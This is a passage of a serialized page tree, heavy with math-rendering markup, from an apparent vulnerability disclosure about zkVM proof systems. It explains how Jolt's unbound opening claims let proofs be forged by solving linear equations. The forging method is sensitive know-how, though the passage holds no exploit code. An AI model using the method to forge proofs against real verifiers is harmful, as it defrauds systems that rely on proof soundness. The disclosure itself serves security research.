props":114749,"children":114751},{"className":114750},[3753,29],[114752],{"type":24,"tag":83,"props":114753,"children":114755},{"className":114754},[3753],[114756],{"type":29,"value":114611},{"type":24,"tag":67,"props":114758,"children":114759},{},[114760,114762],{"type":29,"value":114761},"Solve: ",{"type":24,"tag":32,"props":114763,"children":114765},{"className":114764},[3726,3727],[114766],{"type":24,"tag":83,"props":114767,"children":114769},{"className":114768},[3732],[114770],{"type":24,"tag":83,"props":114771,"children":114773},{"className":114772,"ariaHidden":1237},[3737],[114774,114800,114835],{"type":24,"tag":83,"props":114775,"children":114777},{"className":114776},[3742],[114778,114782,114787,114791,114796],{"type":24,"tag":83,"props":114779,"children":114781},{"className":114780,"style":21323},[3747],[],{"type":24,"tag":83,"props":114783,"children":114785},{"className":114784,"style":107778},[3753,21328],[114786],{"type":29,"value":108102},{"type":24,"tag":83,"props":114788,"children":114790},{"className":114789,"style":3931},[3833],[],{"type":24,"tag":83,"props":114792,"children":114794},{"className":114793},[3936],[114795],{"type":29,"value":1275},{"type":24,"tag":83,"props":114797,"children":114799},{"className":114798,"style":3931},[3833],[],{"type":24,"tag":83,"props":114801,"children":114803},{"className":114802},[3742],[114804,114808,114813,114822,114826,114831],{"type":24,"tag":83,"props":114805,"children":114807},{"className":114806,"style":3854},[3747],[],{"type":24,"tag":83,"props":114809,"children":114811},{"className":114810},[21457],[114812],{"type":29,"value":558},{"type":24,"tag":83,"props":114814,"children":114816},{"className":114815},[3753,29],[114817],{"type":24,"tag":83,"props":114818,"children":114820},{"className":114819},[3753],[114821],{"type":29,"value":114611},{"type":24,"tag":83,"props":114823,"children":114825},{"className":114824,"style":3834},[3833],[],{"type":24,"tag":83,"props":114827,"children":114829},{"className":114828},[3839],[114830],{"type":29,"value":3813},{"type":24,"tag":83,"props":114832,"children":114834},{"className":114833,"style":3834},[3833],[],{"type":24,"tag":83,"props":114836,"children":114838},{"className":114837},[3742],[114839,114843,114848,114853,114858],{"type":24,"tag":83,"props":114840,"children":114842},{"className":114841,"style":3854},[3747],[],{"type":24,"tag":83,"props":114844,"children":114846},{"className":114845,"style":114723},[3753,21328],[114847],{"type":29,"value":114726},{"type":24,"tag":83,"props":114849,"children":114851},{"className":114850},[21479],[114852],{"type":29,"value":2872},{"type":24,"tag":83,"props":114854,"children":114856},{"className":114855},[3753],[114857],{"type":29,"value":4325},{"type":24,"tag":83,"props":114859,"children":114861},{"className":114860,"style":114668},[3753,21328],[114862],{"type":29,"value":114671},{"type":24,"tag":25,"props":114864,"children":114865},{},[114866],{"type":29,"value":114867},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":114869,"children":114870},{},[114871,114873,114951],{"type":29,"value":114872},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":32,"props":114874,"children":114876},{"className":114875},[3726,3727],[114877],{"type":24,"tag":83,"props":114878,"children":114880},{"className":114879},[3732],[114881],{"type":24,"tag":83,"props":114882,"children":114884},{"className":114883,"ariaHidden":1237},[3737],[114885],{"type":24,"tag":83,"props":114886,"children":114888},{"className":114887},[3742],[114889,114894,114900,114905,114946],{"type":24,"tag":83,"props":114890,"children":114893},{"className":114891,"style":114892},[3747],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":83,"props":114895,"children":114897},{"className":114896,"style":92760},[3753,21328],[114898],{"type":29,"value":114899},"O",{"type":24,"tag":83,"props":114901,"children":114903},{"className":114902},[21457],[114904],{"type":29,"value":558},{"type":24,"tag":83,"props":114906,"children":114908},{"className":114907},[3753],[114909,114914],{"type":24,"tag":83,"props":114910,"children":114912},{"className":114911},[3753,21328],[114913],{"type":29,"value":56117},{"type":24,"tag":83,"props":114915,"children":114917},{"className":114916},[3769],[114918],{"type":24,"tag":83,"props":114919,"children":114921},{"className":114920},[3774],[114922],{"type":24,"tag":83,"props":114923,"children":114925},{"className":114924},[3779],[114926],{"type":24,"tag":83,"props":114927,"children":114929},{"className":114928,"style":3748},[3784],[114930],{"type":24,"tag":83,"props":114931,"children":114932},{"style":3788},[114933,114937],{"type":24,"tag":83,"props":114934,"children":114936},{"className":114935,"style":3794},[3793],[],{"type":24,"tag":83,"props":114938,"children":114940},{"className":114939},[3799,3800,3801,3802],[114941],{"type":24,"tag":83,"props":114942,"children":114944},{"className":114943},[3753,3802],[114945],{"type":29,"value":17032},{"type":24,"tag":83,"props":114947,"children":114949},{"className":114948},[21479],[114950],{"type":29,"value":2872},{"type":29,"value":114952}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":18531,"props":114954,"children":114955},{},[],{"type":24,"tag":51,"props":114957,"children":114959},{"id":114958},"the-six-broken-systems",[114960],{"type":29,"value":114961},"The Six Broken Systems",{"type":24,"tag":25,"props":114963,"children":114964},{},[114965],{"type":24,"tag":2510,"props":114966,"children":114969},{"alt":114967,"src":114968},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":114971,"children":114972},{},[114973],{"type":29,"value":114974},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":18531,"props":114976,"children":114977},{},[],{"type":24,"tag":1818,"props":114979,"children":114981},{"id":114980},"jolt-a16z",[114982],{"type":29,"value":114983},"Jolt (a16z)",{"type":24,"tag":25,"props":114985,"children":114986},{},[114987],{"type":29,"value":114988},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":114990,"children":114991},{},[114992],{"type":24,"tag":2040,"props":114993,"children":114994},{},[114995],{"type":29,"value":114996},"The proof structure:",{"type":24,"tag":73,"props":114998,"children":115000},{"code":114999},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[115001],{"type":24,"tag":32,"props":115002,"children":115003},{"__ignoreMap":7},[115004],{"type":29,"value":114999},{"type":24,"tag":25,"props":115006,"children":115007},{},[115008],{"type":24,"tag":2040,"props":115009,"children":115010},{},[115011],{"type":29,"value":115012},"The verification flow:",{"type":24,"tag":25,"props":115014,"children":115015},{},[115016],{"type":24,"tag":2510,"props":115017,"children":115020},{"alt":115018,"src":115019},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":115022,"children":115023},{},[115024,115029,115031,115037,115039,115045,115047,115052],{"type":24,"tag":2040,"props":115025,"children":115026},{},[115027],{"type":29,"value":115028},"The bug:",{"type":29,"value":115030}," Each sumcheck instance provides an ",{"type":24,"tag":32,"props":115032,"children":115034},{"className":115033},[],[115035],{"type":29,"value":115036},"input_claim",{"type":29,"value":115038},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":32,"props":115040,"children":115042},{"className":115041},[],[115043],{"type":29,"value":115044},"opening_claims",{"type":29,"value":115046}," in the proof, but they were ",{"type":24,"tag":2040,"props":115048,"children":115049},{},[115050],{"type":29,"value":115051},"never absorbed into the transcript",{"type":29,"value":115053}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":115055,"children":115056},{},[115057],{"type":24,"tag":2510,"props":115058,"children":115061},{"alt":115059,"src":115060},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":115063,"children":115064},{},[115065],{"type":24,"tag":2040,"props":115066,"children":115067},{},[115068],{"type":29,"value":115069},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":115071,"children":115072},{},[115073,115075,115081,115083,115160],{"type":29,"value":115074},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":32,"props":115076,"children":115078},{"className":115077},[],[115079],{"type":29,"value":115080},"BatchedClaim",{"type":29,"value":115082}," by taking a random linear combination of the individual claims ",{"type":24,"tag":32,"props":115084,"children":115086},{"className":115085},[3726,3727],[115087],{"type":24,"tag":83,"props":115088,"children":115090},{"className":115089},[3732],[115091],{"type":24,"tag":83,"props":115092,"children":115094},{"className":115093,"ariaHidden":1237},[3737],[115095],{"type":24,"tag":83,"props":115096,"children":115098},{"className":115097},[3742],[115099,115103],{"type":24,"tag":83,"props":115100,"children":115102},{"className":115101,"style":110577},[3747],[],{"type":24,"tag":83,"props":115104,"children":115106},{"className":115105},[3753],[115107,115112],{"type":24,"tag":83,"props":115108,"children":115110},{"className":115109,"style":92994},[3753,21328],[115111],{"type":29,"value":92997},{"type":24,"tag":83,"props":115113,"children":115115},{"className":115114},[3769],[115116],{"type":24,"tag":83,"props":115117,"children":115119},{"className":115118},[3774,21382],[115120,115149],{"type":24,"tag":83,"props":115121,"children":115123},{"className":115122},[3779],[115124,115144],{"type":24,"tag":83,"props":115125,"children":115127},{"className":115126,"style":93289},[3784],[115128],{"type":24,"tag":83,"props":115129,"children":115130},{"style":110009},[115131,115135],{"type":24,"tag":83,"props":115132,"children":115134},{"className":115133,"style":3794},[3793],[],{"type":24,"tag":83,"props":115136,"children":115138},{"className":115137},[3799,3800,3801,3802],[115139],{"type":24,"tag":83,"props":115140,"children":115142},{"className":115141},[3753,21328,3802],[115143],{"type":29,"value":3482},{"type":24,"tag":83,"props":115145,"children":115147},{"className":115146},[21485],[115148],{"type":29,"value":21488},{"type":24,"tag":83,"props":115150,"children":115152},{"className":115151},[3779],[115153],{"type":24,"tag":83,"props":115154,"children":115156},{"className":115155,"style":92843},[3784],[115157],{"type":24,"tag":83,"props":115158,"children":115159},{},[],{"type":29,"value":195},{"type":24,"tag":25,"props":115162,"children":115163},{},[115164],{"type":24,"tag":32,"props":115165,"children":115167},{"className":115166},[3726,3727],[115168],{"type":24,"tag":83,"props":115169,"children":115171},{"className":115170},[3732],[115172],{"type":24,"tag":83,"props":115173,"children":115175},{"className":115174,"ariaHidden":1237},[3737],[115176,115206,115347],{"type":24,"tag":83,"props":115177,"children":115179},{"className":115178},[3742],[115180,115184,115193,115197,115202],{"type":24,"tag":83,"props":115181,"children":115183},{"className":115182,"style":92675},[3747],[],{"type":24,"tag":83,"props":115185,"children":115187},{"className":115186},[3753,29],[115188],{"type":24,"tag":83,"props":115189,"children":115191},{"className":115190},[3753],[115192],{"type":29,"value":115080},{"type":24,"tag":83,"props":115194,"children":115196},{"className":115195,"style":3931},[3833],[],{"type":24,"tag":83,"props":115198,"children":115200},{"className":115199},[3936],[115201],{"type":29,"value":1275},{"type":24,"tag":83,"props":115203,"children":115205},{"className":115204,"style":3931},[3833],[],{"type":24,"tag":83,"props":115207,"children":115209},{"className":115208},[3742],[115210,115215,115272,115276,115334,115338,115343],{"type":24,"tag":83,"props":115211,"children":115214},{"className":115212,"style":115213},[3747],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":83,"props":115216,"children":115218},{"className":115217},[21364],[115219,115224],{"type":24,"tag":83,"props":115220,"children":115222},{"className":115221,"style":21371},[21364,21369,21370],[115223],{"type":29,"value":108375},{"type":24,"tag":83,"props":115225,"children":115227},{"className":115226},[3769],[115228],{"type":24,"tag":83,"props":115229,"children":115231},{"className":115230},[3774,21382],[115232,115261],{"type":24,"tag":83,"props":115233,"children":115235},{"className":115234},[3779],[115236,115256],{"type":24,"tag":83,"props":115237,"children":115239},{"className":115238,"style":113787},[3784],[115240],{"type":24,"tag":83,"props":115241,"children":115242},{"style":21395},[115243,115247],{"type":24,"tag":83,"props":115244,"children":115246},{"className":115245,"style":3794},[3793],[],{"type":24,"tag":83,"props":115248,"children":115250},{"className":115249},[3799,3800,3801,3802],[115251],{"type":24,"tag":83,"props":115252,"children":115254},{"className":115253},[3753,21328,3802],[115255],{"type":29,"value":3482},{"type":24,"tag":83,"props":115257,"children":115259},{"className":115258},[21485],[115260],{"type":29,"value":21488},{"type":24,"tag":83,"props":115262,"children":115264},{"className":115263},[3779],[115265],{"type":24,"tag":83,"props":115266,"children":115268},{"className":115267,"style":114067},[3784],[115269],{"type":24,"tag":83,"props":115270,"children":115271},{},[],{"type":24,"tag":83,"props":115273,"children":115275},{"className":115274,"style":3872},[3833],[],{"type":24,"tag":83,"props":115277,"children":115279},{"className":115278},[3753],[115280,115285],{"type":24,"tag":83,"props":115281,"children":115283},{"className":115282,"style":114668},[3753,21328],[115284],{"type":29,"value":114671},{"type":24,"tag":83,"props":115286,"children":115288},{"className":115287},[3769],[115289],{"type":24,"tag":83,"props":115290,"children":115292},{"className":115291},[3774,21382],[115293,115323],{"type":24,"tag":83,"props":115294,"children":115296},{"className":115295},[3779],[115297,115318],{"type":24,"tag":83,"props":115298,"children":115300},{"className":115299,"style":93289},[3784],[115301],{"type":24,"tag":83,"props":115302,"children":115304},{"style":115303},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115305,115309],{"type":24,"tag":83,"props":115306,"children":115308},{"className":115307,"style":3794},[3793],[],{"type":24,"tag":83,"props":115310,"children":115312},{"className":115311},[3799,3800,3801,3802],[115313],{"type":24,"tag":83,"props":115314,"children":115316},{"className":115315},[3753,21328,3802],[115317],{"type":29,"value":3482},{"type":24,"tag":83,"props":115319,"children":115321},{"className":115320},[21485],[115322],{"type":29,"value":21488},{"type":24,"tag":83,"props":115324,"children":115326},{"className":115325},[3779],[115327],{"type":24,"tag":83,"props":115328,"children":115330},{"className":115329,"style":92843},[3784],[115331],{"type":24,"tag":83,"props":115332,"children":115333},{},[],{"type":24,"tag":83,"props":115335,"children":115337},{"className":115336,"style":3834},[3833],[],{"type":24,"tag":83,"props":115339,"children":115341},{"className":115340},[3839],[115342],{"type":29,"value":110842},{"type":24,"tag":83,"props":115344,"children":115346},{"className":115345,"style":3834},[3833],[],{"type":24,"tag":83,"props":115348,"children":115350},{"className":115349},[3742],[115351,115355],{"type":24,"tag":83,"props":115352,"children":115354},{"className":115353,"style":110577},[3747],[],{"type":24,"tag":83,"props":115356,"children":115358},{"className":115357},[3753],[115359,115364],{"type":24,"tag":83,"props":115360,"children":115362},{"className":115361,"style":92994},[3753,21328],[115363],{"type":29,"value":92997},{"type":24,"tag":83,"props":115365,"children":115367},{"className":115366},[3769],[115368],{"type":24,"tag":83,"props":115369,"children":115371},{"className":115370},[3774,21382],[115372,115401],{"type":24,"tag":83,"props":115373,"children":115375},{"className":115374},[3779],[115376,115396],{"type":24,"tag":83,"props":115377,"children":115379},{"className":115378,"style":93289},[3784],[115380],{"type":24,"tag":83,"props":115381,"children":115382},{"style":110009},[115383,115387],{"type":24,"tag":83,"props":115384,"children":115386},{"className":115385,"style":3794},[3793],[],{"type":24,"tag":83,"props":115388,"children":115390},{"className":115389},[3799,3800,3801,3802],[115391],{"type":24,"tag":83,"props":115392,"children":115394},{"className":115393},[3753,21328,3802],[115395],{"type":29,"value":3482},{"type":24,"tag":83,"props":115397,"children":115399},{"className":115398},[21485],[115400],{"type":29,"value":21488},{"type":24,"tag":83,"props":115402,"children":115404},{"className":115403},[3779],[115405],{"type":24,"tag":83,"props":115406,"children":115408},{"className":115407,"style":92843},[3784],[115409],{"type":24,"tag":83,"props":115410,"children":115411},{},[],{"type":24,"tag":25,"props":115413,"children":115414},{},[115415,115417,115494,115496,115501,115503,115580,115582,115659,115661,115738],{"type":29,"value":115416},"where ",{"type":24,"tag":32,"props":115418,"children":115420},{"className":115419},[3726,3727],[115421],{"type":24,"tag":83,"props":115422,"children":115424},{"className":115423},[3732],[115425],{"type":24,"tag":83,"props":115426,"children":115428},{"className":115427,"ariaHidden":1237},[3737],[115429],{"type":24,"tag":83,"props":115430,"children":115432},{"className":115431},[3742],[115433,115437],{"type":24,"tag":83,"props":115434,"children":115436},{"className":115435,"style":109550},[3747],[],{"type":24,"tag":83,"props":115438,"children":115440},{"className":115439},[3753],[115441,115446],{"type":24,"tag":83,"props":115442,"children":115444},{"className":115443,"style":114668},[3753,21328],[115445],{"type":29,"value":114671},{"type":24,"tag":83,"props":115447,"children":115449},{"className":115448},[3769],[115450],{"type":24,"tag":83,"props":115451,"children":115453},{"className":115452},[3774,21382],[115454,115483],{"type":24,"tag":83,"props":115455,"children":115457},{"className":115456},[3779],[115458,115478],{"type":24,"tag":83,"props":115459,"children":115461},{"className":115460,"style":93289},[3784],[115462],{"type":24,"tag":83,"props":115463,"children":115464},{"style":115303},[115465,115469],{"type":24,"tag":83,"props":115466,"children":115468},{"className":115467,"style":3794},[3793],[],{"type":24,"tag":83,"props":115470,"children":115472},{"className":115471},[3799,3800,3801,3802],[115473],{"type":24,"tag":83,"props":115474,"children":115476},{"className":115475},[3753,21328,3802],[115477],{"type":29,"value":3482},{"type":24,"tag":83,"props":115479,"children":115481},{"className":115480},[21485],[115482],{"type":29,"value":21488},{"type":24,"tag":83,"props":115484,"children":115486},{"className":115485},[3779],[115487],{"type":24,"tag":83,"props":115488,"children":115490},{"className":115489,"style":92843},[3784],[115491],{"type":24,"tag":83,"props":115492,"children":115493},{},[],{"type":29,"value":115495}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":32,"props":115497,"children":115499},{"className":115498},[],[115500],{"type":29,"value":115044},{"type":29,"value":115502}," (containing ",{"type":24,"tag":32,"props":115504,"children":115506},{"className":115505},[3726,3727],[115507],{"type":24,"tag":83,"props":115508,"children":115510},{"className":115509},[3732],[115511],{"type":24,"tag":83,"props":115512,"children":115514},{"className":115513,"ariaHidden":1237},[3737],[115515],{"type":24,"tag":83,"props":115516,"children":115518},{"className":115517},[3742],[115519,115523],{"type":24,"tag":83,"props":115520,"children":115522},{"className":115521,"style":110577},[3747],[],{"type":24,"tag":83,"props":115524,"children":115526},{"className":115525},[3753],[115527,115532],{"type":24,"tag":83,"props":115528,"children":115530},{"className":115529,"style":92994},[3753,21328],[115531],{"type":29,"value":92997},{"type":24,"tag":83,"props":115533,"children":115535},{"className":115534},[3769],[115536],{"type":24,"tag":83,"props":115537,"children":115539},{"className":115538},[3774,21382],[115540,115569],{"type":24,"tag":83,"props":115541,"children":115543},{"className":115542},[3779],[115544,115564],{"type":24,"tag":83,"props":115545,"children":115547},{"className":115546,"style":93289},[3784],[115548],{"type":24,"tag":83,"props":115549,"children":115550},{"style":110009},[115551,115555],{"type":24,"tag":83,"props":115552,"children":115554},{"className":115553,"style":3794},[3793],[],{"type":24,"tag":83,"props":115556,"children":115558},{"className":115557},[3799,3800,3801,3802],[115559],{"type":24,"tag":83,"props":115560,"children":115562},{"className":115561},[3753,21328,3802],[115563],{"type":29,"value":3482},{"type":24,"tag":83,"props":115565,"children":115567},{"className":115566},[21485],[115568],{"type":29,"value":21488},{"type":24,"tag":83,"props":115570,"children":115572},{"className":115571},[3779],[115573],{"type":24,"tag":83,"props":115574,"children":115576},{"className":115575,"style":92843},[3784],[115577],{"type":24,"tag":83,"props":115578,"children":115579},{},[],{"type":29,"value":115581},") were not in the transcript, the ",{"type":24,"tag":32,"props":115583,"children":115585},{"className":115584},[3726,3727],[115586],{"type":24,"tag":83,"props":115587,"children":115589},{"className":115588},[3732],[115590],{"type":24,"tag":83,"props":115591,"children":115593},{"className":115592,"ariaHidden":1237},[3737],[115594],{"type":24,"tag":83,"props":115595,"children":115597},{"className":115596},[3742],[115598,115602],{"type":24,"tag":83,"props":115599,"children":115601},{"className":115600,"style":109550},[3747],[],{"type":24,"tag":83,"props":115603,"children":115605},{"className":115604},[3753],[115606,115611],{"type":24,"tag":83,"props":115607,"children":115609},{"className":115608,"style":114668},[3753,21328],[115610],{"type":29,"value":114671},{"type":24,"tag":83,"props":115612,"children":115614},{"className":115613},[3769],[115615],{"type":24,"tag":83,"props":115616,"children":115618},{"className":115617},[3774,21382],[115619,115648],{"type":24,"tag":83,"props":115620,"children":115622},{"className":115621},[3779],[115623,115643],{"type":24,"tag":83,"props":115624,"children":115626},{"className":115625,"style":93289},[3784],[115627],{"type":24,"tag":83,"props":115628,"children":115629},{"style":115303},[115630,115634],{"type":24,"tag":83,"props":115631,"children":115633},{"className":115632,"style":3794},[3793],[],{"type":24,"tag":83,"props":115635,"children":115637},{"className":115636},[3799,3800,3801,3802],[115638],{"type":24,"tag":83,"props":115639,"children":115641},{"className":115640},[3753,21328,3802],[115642],{"type":29,"value":3482},{"type":24,"tag":83,"props":115644,"children":115646},{"className":115645},[21485],[115647],{"type":29,"value":21488},{"type":24,"tag":83,"props":115649,"children":115651},{"className":115650},[3779],[115652],{"type":24,"tag":83,"props":115653,"children":115655},{"className":115654,"style":92843},[3784],[115656],{"type":24,"tag":83,"props":115657,"children":115658},{},[],{"type":29,"value":115660}," values are independent of ",{"type":24,"tag":32,"props":115662,"children":115664},{"className":115663},[3726,3727],[115665],{"type":24,"tag":83,"props":115666,"children":115668},{"className":115667},[3732],[115669],{"type":24,"tag":83,"props":115670,"children":115672},{"className":115671,"ariaHidden":1237},[3737],[115673],{"type":24,"tag":83,"props":115674,"children":115676},{"className":115675},[3742],[115677,115681],{"type":24,"tag":83,"props":115678,"children":115680},{"className":115679,"style":110577},[3747],[],{"type":24,"tag":83,"props":115682,"children":115684},{"className":115683},[3753],[115685,115690],{"type":24,"tag":83,"props":115686,"children":115688},{"className":115687,"style":92994},[3753,21328],[115689],{"type":29,"value":92997},{"type":24,"tag":83,"props":115691,"children":115693},{"className":115692},[3769],[115694],{"type":24,"tag":83,"props":115695,"children":115697},{"className":115696},[3774,21382],[115698,115727],{"type":24,"tag":83,"props":115699,"children":115701},{"className":115700},[3779],[115702,115722],{"type":24,"tag":83,"props":115703,"children":115705},{"className":115704,"style":93289},[3784],[115706],{"type":24,"tag":83,"props":115707,"children":115708},{"style":110009},[115709,115713],{"type":24,"tag":83,"props":115710,"children":115712},{"className":115711,"style":3794},[3793],[],{"type":24,"tag":83,"props":115714,"children":115716},{"className":115715},[3799,3800,3801,3802],[115717],{"type":24,"tag":83,"props":115718,"children":115720},{"className":115719},[3753,21328,3802],[115721],{"type":29,"value":3482},{"type":24,"tag":83,"props":115723,"children":115725},{"className":115724},[21485],[115726],{"type":29,"value":21488},{"type":24,"tag":83,"props":115728,"children":115730},{"className":115729},[3779],[115731],{"type":24,"tag":83,"props":115732,"children":115734},{"className":115733,"style":92843},[3784],[115735],{"type":24,"tag":83,"props":115736,"children":115737},{},[],{"type":29,"value":161},{"type":24,"tag":25,"props":115740,"children":115741},{},[115742],{"type":24,"tag":2040,"props":115743,"children":115744},{},[115745],{"type":29,"value":115746},"Why it's linear:",{"type":24,"tag":25,"props":115748,"children":115749},{},[115750,115752],{"type":29,"value":115751},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":32,"props":115753,"children":115755},{"className":115754},[3726,3727],[115756],{"type":24,"tag":83,"props":115757,"children":115759},{"className":115758},[3732],[115760],{"type":24,"tag":83,"props":115761,"children":115763},{"className":115762,"ariaHidden":1237},[3737],[115764],{"type":24,"tag":83,"props":115765,"children":115767},{"className":115766},[3742],[115768,115772],{"type":24,"tag":83,"props":115769,"children":115771},{"className":115770,"style":21323},[3747],[],{"type":24,"tag":83,"props":115773,"children":115775},{"className":115774,"style":92994},[3753,21328],[115776],{"type":29,"value":92997},{"type":24,"tag":25,"props":115778,"children":115779},{},[115780],{"type":24,"tag":32,"props":115781,"children":115783},{"className":115782},[3726,3727],[115784],{"type":24,"tag":83,"props":115785,"children":115787},{"className":115786},[3732],[115788],{"type":24,"tag":83,"props":115789,"children":115791},{"className":115790,"ariaHidden":1237},[3737],[115792,115882,115908,115934],{"type":24,"tag":83,"props":115793,"children":115795},{"className":115794},[3742],[115796,115800,115869,115873,115878],{"type":24,"tag":83,"props":115797,"children":115799},{"className":115798,"style":110577},[3747],[],{"type":24,"tag":83,"props":115801,"children":115803},{"className":115802},[3753],[115804,115810],{"type":24,"tag":83,"props":115805,"children":115807},{"className":115806,"style":21860},[3753,21328],[115808],{"type":29,"value":115809},"C",{"type":24,"tag":83,"props":115811,"children":115813},{"className":115812},[3769],[115814],{"type":24,"tag":83,"props":115815,"children":115817},{"className":115816},[3774,21382],[115818,115858],{"type":24,"tag":83,"props":115819,"children":115821},{"className":115820},[3779],[115822,115853],{"type":24,"tag":83,"props":115823,"children":115826},{"className":115824,"style":115825},[3784],"height:0.3361em;",[115827],{"type":24,"tag":83,"props":115828,"children":115830},{"style":115829},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[115831,115835],{"type":24,"tag":83,"props":115832,"children":115834},{"className":115833,"style":3794},[3793],[],{"type":24,"tag":83,"props":115836,"children":115838},{"className":115837},[3799,3800,3801,3802],[115839],{"type":24,"tag":83,"props":115840,"children":115842},{"className":115841},[3753,3802],[115843],{"type":24,"tag":83,"props":115844,"children":115846},{"className":115845},[3753,29,3802],[115847],{"type":24,"tag":83,"props":115848,"children":115850},{"className":115849},[3753,3802],[115851],{"type":29,"value":115852},"final",{"type":24,"tag":83,"props":115854,"children":115856},{"className":115855},[21485],[115857],{"type":29,"value":21488},{"type":24,"tag":83,"props":115859,"children":115861},{"className":115860},[3779],[115862],{"type":24,"tag":83,"props":115863,"children":115865},{"className":115864,"style":92843},[3784],[115866],{"type":24,"tag":83,"props":115867,"children":115868},{},[],{"type":24,"tag":83,"props":115870,"children":115872},{"className":115871,"style":3931},[3833],[],{"type":24,"tag":83,"props":115874,"children":115876},{"className":115875},[3936],[115877],{"type":29,"value":1275},{"type":24,"tag":83,"props":115879,"children":115881},{"className":115880,"style":3931},[3833],[],{"type":24,"tag":83,"props":115883,"children":115885},{"className":115884},[3742],[115886,115890,115895,115899,115904],{"type":24,"tag":83,"props":115887,"children":115889},{"className":115888,"style":114663},[3747],[],{"type":24,"tag":83,"props":115891,"children":115893},{"className":115892},[3753,21328],[115894],{"type":29,"value":2033},{"type":24,"tag":83,"props":115896,"children":115898},{"className":115897,"style":3834},[3833],[],{"type":24,"tag":83,"props":115900,"children":115902},{"className":115901},[3839],[115903],{"type":29,"value":110842},{"type":24,"tag":83,"props":115905,"children":115907},{"className":115906,"style":3834},[3833],[],{"type":24,"tag":83,"props":115909,"children":115911},{"className":115910},[3742],[115912,115916,115921,115925,115930],{"type":24,"tag":83,"props":115913,"children":115915},{"className":115914,"style":114692},[3747],[],{"type":24,"tag":83,"props":115917,"children":115919},{"className":115918,"style":92994},[3753,21328],[115920],{"type":29,"value":92997},{"type":24,"tag":83,"props":115922,"children":115924},{"className":115923,"style":3834},[3833],[],{"type":24,"tag":83,"props":115926,"children":115928},{"className":115927},[3839],[115929],{"type":29,"value":4126},{"type":24,"tag":83,"props":115931,"children":115933},{"className":115932,"style":3834},[3833],[],{"type":24,"tag":83,"props":115935,"children":115937},{"className":115936},[3742],[115938,115942],{"type":24,"tag":83,"props":115939,"children":115941},{"className":115940,"style":92675},[3747],[],{"type":24,"tag":83,"props":115943,"children":115945},{"className":115944},[3753,21328],[115946],{"type":29,"value":2968},{"type":24,"tag":25,"props":115948,"children":115949},{},[115950,115951,115990,115992,116017,116019,116149,116151,116272],{"type":29,"value":115416},{"type":24,"tag":32,"props":115952,"children":115954},{"className":115953},[3726,3727],[115955],{"type":24,"tag":83,"props":115956,"children":115958},{"className":115957},[3732],[115959],{"type":24,"tag":83,"props":115960,"children":115962},{"className":115961,"ariaHidden":1237},[3737],[115963],{"type":24,"tag":83,"props":115964,"children":115966},{"className":115965},[3742],[115967,115971,115976,115981,115985],{"type":24,"tag":83,"props":115968,"children":115970},{"className":115969,"style":114635},[3747],[],{"type":24,"tag":83,"props":115972,"children":115974},{"className":115973},[3753,21328],[115975],{"type":29,"value":2033},{"type":24,"tag":83,"props":115977,"children":115979},{"className":115978},[3865],[115980],{"type":29,"value":3868},{"type":24,"tag":83,"props":115982,"children":115984},{"className":115983,"style":3872},[3833],[],{"type":24,"tag":83,"props":115986,"children":115988},{"className":115987},[3753,21328],[115989],{"type":29,"value":2968},{"type":29,"value":115991}," are determined by the transcript (independent of ",{"type":24,"tag":32,"props":115993,"children":115995},{"className":115994},[3726,3727],[115996],{"type":24,"tag":83,"props":115997,"children":115999},{"className":115998},[3732],[116000],{"type":24,"tag":83,"props":116001,"children":116003},{"className":116002,"ariaHidden":1237},[3737],[116004],{"type":24,"tag":83,"props":116005,"children":116007},{"className":116006},[3742],[116008,116012],{"type":24,"tag":83,"props":116009,"children":116011},{"className":116010,"style":21323},[3747],[],{"type":24,"tag":83,"props":116013,"children":116015},{"className":116014,"style":92994},[3753,21328],[116016],{"type":29,"value":92997},{"type":29,"value":116018},"). The verifier checks that ",{"type":24,"tag":32,"props":116020,"children":116022},{"className":116021},[3726,3727],[116023],{"type":24,"tag":83,"props":116024,"children":116026},{"className":116025},[3732],[116027],{"type":24,"tag":83,"props":116028,"children":116030},{"className":116029,"ariaHidden":1237},[3737],[116031,116117],{"type":24,"tag":83,"props":116032,"children":116034},{"className":116033},[3742],[116035,116039,116104,116108,116113],{"type":24,"tag":83,"props":116036,"children":116038},{"className":116037,"style":110577},[3747],[],{"type":24,"tag":83,"props":116040,"children":116042},{"className":116041},[3753],[116043,116048],{"type":24,"tag":83,"props":116044,"children":116046},{"className":116045,"style":21860},[3753,21328],[116047],{"type":29,"value":115809},{"type":24,"tag":83,"props":116049,"children":116051},{"className":116050},[3769],[116052],{"type":24,"tag":83,"props":116053,"children":116055},{"className":116054},[3774,21382],[116056,116093],{"type":24,"tag":83,"props":116057,"children":116059},{"className":116058},[3779],[116060,116088],{"type":24,"tag":83,"props":116061,"children":116063},{"className":116062,"style":115825},[3784],[116064],{"type":24,"tag":83,"props":116065,"children":116066},{"style":115829},[116067,116071],{"type":24,"tag":83,"props":116068,"children":116070},{"className":116069,"s